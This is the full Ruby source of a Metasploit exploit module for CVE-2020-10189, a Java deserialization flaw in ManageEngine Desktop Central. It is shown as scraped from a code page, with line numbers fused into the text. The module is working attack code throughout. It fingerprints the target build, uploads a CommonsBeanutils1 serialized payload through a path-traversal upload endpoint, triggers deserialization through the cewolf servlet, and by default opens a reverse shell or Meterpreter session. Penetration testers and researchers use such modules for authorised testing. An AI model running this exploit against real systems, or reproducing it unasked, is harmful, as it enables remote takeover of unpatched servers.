Path: blob/master/modules/exploits/windows/http/desktopcentral_deserialization.rb
31956 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = GreatRanking89prepend Msf::Exploit::Remote::AutoCheck10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::CmdStager12include Msf::Exploit::FileDropper13include Msf::Exploit::JavaDeserialization1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'ManageEngine Desktop Central Java Deserialization',20'Description' => %q{21This module exploits a Java deserialization vulnerability in the22getChartImage() method from the FileStorage class within ManageEngine23Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.2425Quoting the vendor's advisory on fixed versions:2627"The short-term fix for the arbitrary file upload vulnerability was28released in build 10.0.474 on January 20, 2020. In continuation of29that, the complete fix for the remote code execution vulnerability is30now available in build 10.0.479."31},32'Author' => [33'mr_me', # Discovery and exploit34'wvu' # Module35],36'References' => [37['CVE', '2020-10189'],38['URL', 'https://srcincite.io/advisories/src-2020-0011/'],39['URL', 'https://srcincite.io/pocs/src-2020-0011.py.txt'],40['URL', 'https://twitter.com/steventseeley/status/1235635108498948096'],41['URL', 'https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html']42],43'DisclosureDate' => '2020-03-05', # 0day release44'License' => MSF_LICENSE,45'Platform' => 'win',46'Privileged' => true,47'Targets' => [48[49'Windows Command',50{51'Arch' => ARCH_CMD,52'Type' => :win_cmd,53'DefaultOptions' => {54'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'55}56}57],58[59'Windows Dropper',60{61'Arch' => [ARCH_X86, ARCH_X64],62'Type' => :win_dropper,63'CmdStagerFlavor' => :certutil, # This works without issue64'DefaultOptions' => {65'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'66}67}68],69[70'PowerShell Stager',71{72'Arch' => [ARCH_X86, ARCH_X64],73'Type' => :psh_stager,74'DefaultOptions' => {75'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'76}77}78]79],80'DefaultTarget' => 2,81'DefaultOptions' => {82'SSL' => true,83'WfsDelay' => 60 # It can take a little while to trigger84},85'Notes' => {86'Stability' => [SERVICE_RESOURCE_LOSS], # May 404 the upload page?87'Reliability' => [FIRST_ATTEMPT_FAIL], # Payload upload may fail88'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]89}90)91)9293register_options([94Opt::RPORT(8383),95OptString.new('TARGETURI', [true, 'Base path', '/'])96])97end9899def check100res = send_request_cgi(101'method' => 'GET',102'uri' => normalize_uri(target_uri.path, 'configurations.do')103)104105unless res106return CheckCode::Unknown('Target did not respond to check.')107end108109unless res.code == 200 && res.body.include?('ManageEngine Desktop Central')110return CheckCode::Unknown('Target is not running Desktop Central.')111end112113build = res.get_html_document.at('//input[@id = "buildNum"]/@value')&.text114115unless build&.match(/\d+/)116return CheckCode::Detected(117'Target did not respond with Desktop Central build.'118)119end120121# Desktop Central build 100474 is equivalent to version 10.0.474122if build.to_i < 100474123return CheckCode::Appears(124"Desktop Central #{build} is a vulnerable build."125)126end127128CheckCode::Safe("Desktop Central #{build} is NOT a vulnerable build.")129end130131def exploit132print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")133134case target['Type']135when :win_cmd136execute_command(payload.encoded)137when :win_dropper138execute_cmdstager139when :psh_stager140execute_command(cmd_psh_payload(141payload.encoded,142payload.arch.first,143remove_comspec: true144))145end146end147148def execute_command(cmd, _opts = {})149vprint_status("Executing command: #{cmd}")150151# I identified mr_me's binary blob as the CommonsBeanutils1 payload :)152java_payload = generate_java_deserialization_for_command(153'CommonsBeanutils1',154'cmd',155cmd156)157158# XXX: Patch in expected serialVersionUID159java_payload[140, 8] = "\xcf\x8e\x01\x82\xfe\x4e\xf1\x7e"160161# Rock 'n' roll!162upload_serialized_payload(java_payload)163deserialize_payload164end165166def upload_serialized_payload(serialized_payload)167print_status('Uploading serialized payload')168169res = send_request_cgi(170'method' => 'POST',171'uri' => normalize_uri(target_uri.path, '/mdm/client/v1/mdmLogUploader'),172'ctype' => 'application/octet-stream',173'vars_get' => {174# Traversal from C:\Program Files\DesktopCentral_Server\mdm-logs\foo\bar175'udid' => '\\..\\..\\..\\webapps\\DesktopCentral\\_chart',176'filename' => 'logger.zip'177},178'data' => serialized_payload179)180181unless res && res.code == 200182fail_with(Failure::UnexpectedReply, 'Could not upload serialized payload')183end184185print_good('Successfully uploaded serialized payload')186187# Shell lands in C:\Program Files\DesktopCentral_Server\bin188register_file_for_cleanup('..\\webapps\\DesktopCentral\\_chart\\logger.zip')189end190191def deserialize_payload192print_status('Deserializing payload')193194res = send_request_cgi(195'method' => 'GET',196'uri' => normalize_uri(target_uri.path, 'cewolf'),197'vars_get' => {198'img' => '\\logger.zip'199}200)201202unless res && res.code == 200203fail_with(Failure::UnexpectedReply, 'Could not deserialize payload')204end205206print_good('Successfully deserialized payload')207end208209end210211212